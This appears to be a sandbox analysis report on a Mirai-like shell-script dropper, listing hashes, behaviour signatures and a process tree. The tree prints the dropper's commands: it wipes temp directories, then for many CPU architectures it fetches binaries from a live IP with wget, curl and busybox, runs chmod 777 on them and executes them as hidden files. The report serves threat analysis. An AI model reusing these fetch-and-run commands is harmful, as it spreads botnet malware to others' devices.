Analysis
- max time kernel
132s - max time network
150s - platform
debian-9_armhf - resource
debian9-armhf-20260126-en - resource tags
arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
18/04/2026, 05:10
Static task
static1
Behavioral task
behavioral1
Sample
_fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh
Resource
ubuntu1804-amd64-20260126-en
Behavioral task
behavioral2
Sample
_fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh
Resource
debian9-armhf-20260126-en
Behavioral task
behavioral3
Sample
_fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh
Resource
debian9-mipsbe-20260126-en
Behavioral task
behavioral4
Sample
_fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh
Resource
debian9-mipsel-20260126-en
General
- Target _fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh
- Size 4KB
- Sample260418-ftvm8ag19z
- SHA256 fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05
- MD5 83c11030f4309aad0bb98d7d2ea12e2d
- SHA1 cb6cac324518e28df9bee512333a2329c8df2ef0
- SHA512 29f7e5e71ce58320f9a5ba16586279db4e8430ae112b258106549fc357cc6772b5e44d72bc0bf1ea5995d1314832644afac5e7c02d3000afe4efe1df6a987598
- SSDEEP 48:RWZC+N9iGyv92z9JY96p9Lq9/2919Wx99A9U9V9T7O9YQbMdMg9e9TTAskU9fNdF:Rf7mMTWVTAski/
- TLSH T18E91C387A561CC771DF19F0233936B70A4C0CE932CA7DFA8D9DD08AE69A4514328F997
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contacts a large (142328) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 16 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 835 chmod 688 chmod 741 chmod 821 chmod 856 chmod 863 chmod 767 chmod 787 chmod 798 chmod 807 chmod 814 chmod 828 chmod 842 chmod 870 chmod 849 chmod 877 chmod - Deletes itself 1 IoCs
pid Process 770 .arm - Executes dropped EXE 3 IoCs
ioc pid Process /var/tmp/.x86 690 _fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh /var/tmp/.aarch64 743 _fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh /var/tmp/.arm 770 _fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog .arm File opened for modification /dev/misc/watchdog .arm - Traces itself 3 IoCs
Traces itself to prevent debugging attempts
pid Process 779 .arm 780 .arm 781 .arm - Enumerates running processes
Discovers information about currently running processes on the system
- Changes its process name 4 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself httpd 770 .arm Changes the process name, possibly in an attempt to hide itself ekzciwuvdoji7t8 779 .arm Changes the process name, possibly in an attempt to hide itself ekzciwuvdoji7t8 780 .arm Changes the process name, possibly in an attempt to hide itself ekzciwuvdoji7t8 781 .arm - Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/779/cmdline .arm File opened for reading /proc/781/cmdline .arm File opened for reading /proc/filesystems mv File opened for reading /proc/filesystems mv File opened for reading /proc/885/cmdline .arm File opened for reading /proc/filesystems mv File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/9/cmdline .arm File opened for reading /proc/13/cmdline .arm File opened for reading /proc/110/cmdline .arm File opened for reading /proc/647/cmdline .arm File opened for reading /proc/775/cmdline .arm File opened for reading /proc/778/cmdline .arm File opened for reading /proc/self/auxv curl File opened for reading /proc/filesystems mv File opened for reading /proc/16/cmdline .arm File opened for reading /proc/288/cmdline .arm File opened for reading /proc/filesystems mv File opened for reading /proc/filesystems mv File opened for reading /proc/892/cmdline .arm File opened for reading /proc/14/cmdline .arm File opened for reading /proc/24/cmdline .arm File opened for reading /proc/98/cmdline .arm File opened for reading /proc/157/cmdline .arm File opened for reading /proc/289/cmdline .arm File opened for reading /proc/641/cmdline .arm File opened for reading /proc/907/cmdline .arm File opened for reading /proc/12/cmdline .arm File opened for reading /proc/43/cmdline .arm File opened for reading /proc/filesystems mv File opened for reading /proc/20/cmdline .arm File opened for reading /proc/28/cmdline .arm File opened for reading /proc/654/cmdline .arm File opened for reading /proc/filesystems mv File opened for reading /proc/880/cmdline .arm File opened for reading /proc/136/cmdline .arm File opened for reading /proc/137/cmdline .arm File opened for reading /proc/171/cmdline .arm File opened for reading /proc/6/cmdline .arm File opened for reading /proc/23/cmdline .arm File opened for reading /proc/42/cmdline .arm File opened for reading /proc/342/cmdline .arm File opened for reading /proc/649/cmdline .arm File opened for reading /proc/2/cmdline .arm File opened for reading /proc/17/cmdline .arm File opened for reading /proc/19/cmdline .arm File opened for reading /proc/filesystems mv File opened for reading /proc/filesystems mv File opened for reading /proc/filesystems mv File opened for reading /proc/filesystems mv File opened for reading /proc/899/cmdline .arm File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/4/cmdline .arm File opened for reading /proc/22/cmdline .arm File opened for reading /proc/168/cmdline .arm File opened for reading /proc/883/cmdline .arm File opened for reading /proc/890/cmdline .arm File opened for reading /proc/897/cmdline .arm File opened for reading /proc/filesystems mv File opened for reading /proc/11/cmdline .arm File opened for reading /proc/18/cmdline .arm File opened for reading /proc/26/cmdline .arm File opened for reading /proc/41/cmdline .arm - System Network Configuration Discovery 1 TTPs 11 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 839 wget 840 curl 841 busybox 843 mv 844 .mips 847 curl 848 busybox 850 mv 846 wget 851 .mips64 858 .mpsl
Processes
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/tmp/_fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh/tmp/_fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh1⤵
- Executes dropped EXE
PID:652 -
/bin/rmrm -rf /var/tmp/systemd-private-e0e08b79697546a08c2a0adc398d5399-systemd-timedated.service-KCzqTi2⤵PID:659
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/bin/rmrm -rf "/var/tmp/*"2⤵PID:663
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/bin/rmrm -rf /tmp/. /tmp/.. /tmp/.font-unix /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix2⤵PID:667
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/bin/rmrm -rf /tmp/. /tmp/..2⤵PID:670
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/bin/rmrm -f .perm_test2⤵PID:677
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_x862⤵PID:679
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_x862⤵
- Checks CPU configuration
- Reads runtime system information
PID:686
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_x862⤵PID:687
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/bin/chmodchmod 777 ciubuc_x862⤵
- File and Directory Permissions Modification
PID:688
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/bin/mvmv ciubuc_x86 .x862⤵
- Reads runtime system information
PID:689
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/bin/grepgrep "Who loves the sun"2⤵PID:691
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/var/tmp/.x86./.x86 x86_642⤵PID:690
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_aarch642⤵PID:695
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_aarch642⤵
- Checks CPU configuration
- Reads runtime system information
PID:716
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_aarch642⤵PID:739
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/bin/chmodchmod 777 ciubuc_aarch642⤵
- File and Directory Permissions Modification
PID:741
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/bin/mvmv ciubuc_aarch64 .aarch642⤵
- Reads runtime system information
PID:742
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/bin/grepgrep "Who loves the sun"2⤵PID:744
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/var/tmp/.aarch64./.aarch64 aarch642⤵PID:743
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_arm2⤵PID:746
-
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_arm2⤵
- Checks CPU configuration
- Reads runtime system information
PID:747
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_arm2⤵PID:759
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/bin/chmodchmod 777 ciubuc_arm2⤵
- File and Directory Permissions Modification
PID:767
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/bin/mvmv ciubuc_arm .arm2⤵
- Reads runtime system information
PID:768
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/bin/grepgrep "Who loves the sun"2⤵PID:771
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/var/tmp/.arm./.arm armv42⤵
- Deletes itself
- Modifies Watchdog functionality
- Traces itself
- Changes its process name
- Reads runtime system information
PID:770
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_arm52⤵PID:775
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_arm52⤵PID:784
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_arm52⤵PID:786
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/bin/chmodchmod 777 ciubuc_arm52⤵
- File and Directory Permissions Modification
PID:787
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/bin/mvmv ciubuc_arm5 .arm52⤵
- Reads runtime system information
PID:788
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/var/tmp/.arm5./.arm5 armv52⤵PID:791
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/bin/grepgrep "Who loves the sun"2⤵PID:792
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_arm62⤵PID:795
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_arm62⤵PID:796
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_arm62⤵PID:797
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/bin/chmodchmod 777 ciubuc_arm62⤵
- File and Directory Permissions Modification
PID:798
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/bin/mvmv ciubuc_arm6 .arm62⤵
- Reads runtime system information
PID:801
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/var/tmp/.arm6./.arm6 armv62⤵PID:802
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/bin/grepgrep "Who loves the sun"2⤵PID:803
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_arm72⤵PID:804
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_arm72⤵PID:805
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_arm72⤵PID:806
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/bin/chmodchmod 777 ciubuc_arm72⤵
- File and Directory Permissions Modification
PID:807
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/bin/mvmv ciubuc_arm7 .arm72⤵
- Reads runtime system information
PID:808
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/var/tmp/.arm7./.arm7 armv72⤵PID:809
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/bin/grepgrep "Who loves the sun"2⤵PID:810
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_i4862⤵PID:811
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_i4862⤵PID:812
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_i4862⤵PID:813
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/bin/chmodchmod 777 ciubuc_i4862⤵
- File and Directory Permissions Modification
PID:814
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/bin/mvmv ciubuc_i486 .i4862⤵
- Reads runtime system information
PID:815
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/var/tmp/.i486./.i486 i4862⤵PID:816
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/bin/grepgrep "Who loves the sun"2⤵PID:817
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_i5862⤵PID:818
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_i5862⤵PID:819
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_i5862⤵PID:820
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/bin/chmodchmod 777 ciubuc_i5862⤵
- File and Directory Permissions Modification
PID:821
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/bin/mvmv ciubuc_i586 .i5862⤵
- Reads runtime system information
PID:822
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/bin/grepgrep "Who loves the sun"2⤵PID:824
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/var/tmp/.i586./.i586 i5862⤵PID:823
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_i6862⤵PID:825
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_i6862⤵PID:826
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_i6862⤵PID:827
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/bin/chmodchmod 777 ciubuc_i6862⤵
- File and Directory Permissions Modification
PID:828
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/bin/mvmv ciubuc_i686 .i6862⤵
- Reads runtime system information
PID:829
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/var/tmp/.i686./.i686 i6862⤵PID:830
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/bin/grepgrep "Who loves the sun"2⤵PID:831
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_m68k2⤵PID:832
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_m68k2⤵PID:833
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_m68k2⤵PID:834
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/bin/chmodchmod 777 ciubuc_m68k2⤵
- File and Directory Permissions Modification
PID:835
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/bin/mvmv ciubuc_m68k .m68k2⤵PID:836
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/var/tmp/.m68k./.m68k m68k2⤵PID:837
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/bin/grepgrep "Who loves the sun"2⤵PID:838
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_mips2⤵
- System Network Configuration Discovery
PID:839
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_mips2⤵
- System Network Configuration Discovery
PID:840
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_mips2⤵
- System Network Configuration Discovery
PID:841
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/bin/chmodchmod 777 ciubuc_mips2⤵
- File and Directory Permissions Modification
PID:842
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/bin/mvmv ciubuc_mips .mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:843
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/bin/grepgrep "Who loves the sun"2⤵PID:845
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/var/tmp/.mips./.mips mips2⤵
- System Network Configuration Discovery
PID:844
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_mips642⤵
- System Network Configuration Discovery
PID:846
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_mips642⤵
- System Network Configuration Discovery
PID:847
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_mips642⤵
- System Network Configuration Discovery
PID:848
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/bin/chmodchmod 777 ciubuc_mips642⤵
- File and Directory Permissions Modification
PID:849
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/bin/mvmv ciubuc_mips64 .mips642⤵
- System Network Configuration Discovery
PID:850
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/var/tmp/.mips64./.mips64 mips642⤵
- System Network Configuration Discovery
PID:851
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/bin/grepgrep "Who loves the sun"2⤵PID:852
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_mpsl2⤵PID:853
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_mpsl2⤵PID:854
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_mpsl2⤵PID:855
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/bin/chmodchmod 777 ciubuc_mpsl2⤵
- File and Directory Permissions Modification
PID:856
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/bin/mvmv ciubuc_mpsl .mpsl2⤵
- Reads runtime system information
PID:857
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/var/tmp/.mpsl./.mpsl mipsel2⤵
- System Network Configuration Discovery
PID:858
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/bin/grepgrep "Who loves the sun"2⤵PID:859
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_ppc2⤵PID:860
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_ppc2⤵PID:861
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_ppc2⤵PID:862
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/bin/chmodchmod 777 ciubuc_ppc2⤵
- File and Directory Permissions Modification
PID:863
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/bin/mvmv ciubuc_ppc .ppc2⤵
- Reads runtime system information
PID:864
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/var/tmp/.ppc./.ppc powerpc2⤵PID:865
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/bin/grepgrep "Who loves the sun"2⤵PID:866
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_sh42⤵PID:867
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_sh42⤵PID:868
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_sh42⤵PID:869
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/bin/chmodchmod 777 ciubuc_sh42⤵
- File and Directory Permissions Modification
PID:870
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/bin/mvmv ciubuc_sh4 .sh42⤵PID:871
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/bin/grepgrep "Who loves the sun"2⤵PID:873
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/var/tmp/.sh4./.sh4 sh42⤵PID:872
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/usr/bin/wgetwget -q 43.228.157.130/static/ciubuc_spc2⤵PID:874
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/usr/bin/curlcurl -s -L -O 43.228.157.130/static/ciubuc_spc2⤵PID:875
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/bin/busyboxbusybox wget http://43.228.157.130/static/ciubuc_spc2⤵PID:876
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/bin/chmodchmod 777 ciubuc_spc2⤵
- File and Directory Permissions Modification
PID:877
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/bin/mvmv ciubuc_spc .spc2⤵
- Reads runtime system information
PID:878
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/bin/grepgrep "Who loves the sun"2⤵PID:880
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/var/tmp/.spc./.spc sparc2⤵PID:879
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/bin/rmrm -rf . .. .aarch64 .x862⤵PID:881
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Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /var/tmp/ciubuc_aarch64
- Size 2.4MB
- SHA256 53a3e89e1fa5415fc425ede158eb8bf69177f898956777486a3460282b595165
- MD5 2dd8d5a3965b091b3cde8787fd1ada2f
- SHA1 a387aeb6228d31796e0f143bec9db1e378dfa3b2
- SHA512 c43ffc639294eec8352bce7717a77ce97a2614f2e394871d45f785dd6ec0331c9e107e93c1dddfe5c8fa3edb7a5259d08f71579ac64086493c35b812bd5e9a24
- SSDEEP 24576:c3u8q8j0kk1SlmT9mnjz9YhCfqp7Y0aC7Un/8nChwja3y6AqBA6ltqeZJ2w4VfaP:4PzkCbp41aMrsSlWrDt4yPc07P
- TLSH T1BEB56D99EE0E3D42E3C7E27CDF4A8BB03137B6A8E32680B37952415CC0DA9D5D6B1615
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/tmp/ciubuc_arm
- Size 2.4MB
- SHA256 ccf7a7b86d34aff9ec8b4655180d85a62c03d3db7979a00f2380255c7460446e
- MD5 3c7f7dd2f71a0d1122ce4666b7ae8e87
- SHA1 ed659e19581c5d11959f507b5ceec54e24e4bf76
- SHA512 dd179b4c44c7ec3619db86ff72cec82a7a5e885189e29b208d74b66859df9d98a67091de7416bca46befbff75ab5ea623d6a82a114ad979fa9f7b5b97aa49243
- SSDEEP 24576:beKzkV3OafbRGijqGKlX4KlgP6S9+rZ5K03DMnw7Dqd3vxJGtfWRXnMKmaxWKous:be5G1lIKiPYG03yZxstuozupWvPle4
- TLSH T12FB55B41FD51AA56C6E0A6BAFB7EC28C33272BB9C3EE30174D044734779A95A0E3B541
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/tmp/ciubuc_x86
- Size 2.3MB
- SHA256 47a6be407d3f7d633b396e32f3f9c11dec9c7e7761650bf1ca3d0ec51886ec11
- MD5 562dd0e546942e44488654787db7c6b9
- SHA1 0448c1ef0ba2cc9498a00d6f9e6a74b0514da761
- SHA512 4e3c95ce832195d4435cb4ccb1a3d24b511b673ce38b355d8bbccb02577f6d4be87af8fb9f65137e4a3ab4411efabe20fed4d7f3af59bc2d47434a7e6c7062f5
- SSDEEP 49152:Sx8SdDeQetAaEMuLZLEQFibuVfDidafpekVpDf:GdmtoZiYfpeA
- TLSH T1A2B56B43E683C0F1EA1206B11117F7379A399A154136C9A3EF98AD39AE71742E71E37C
- MD5 SHA1 SHA512 SSDEEP TLSH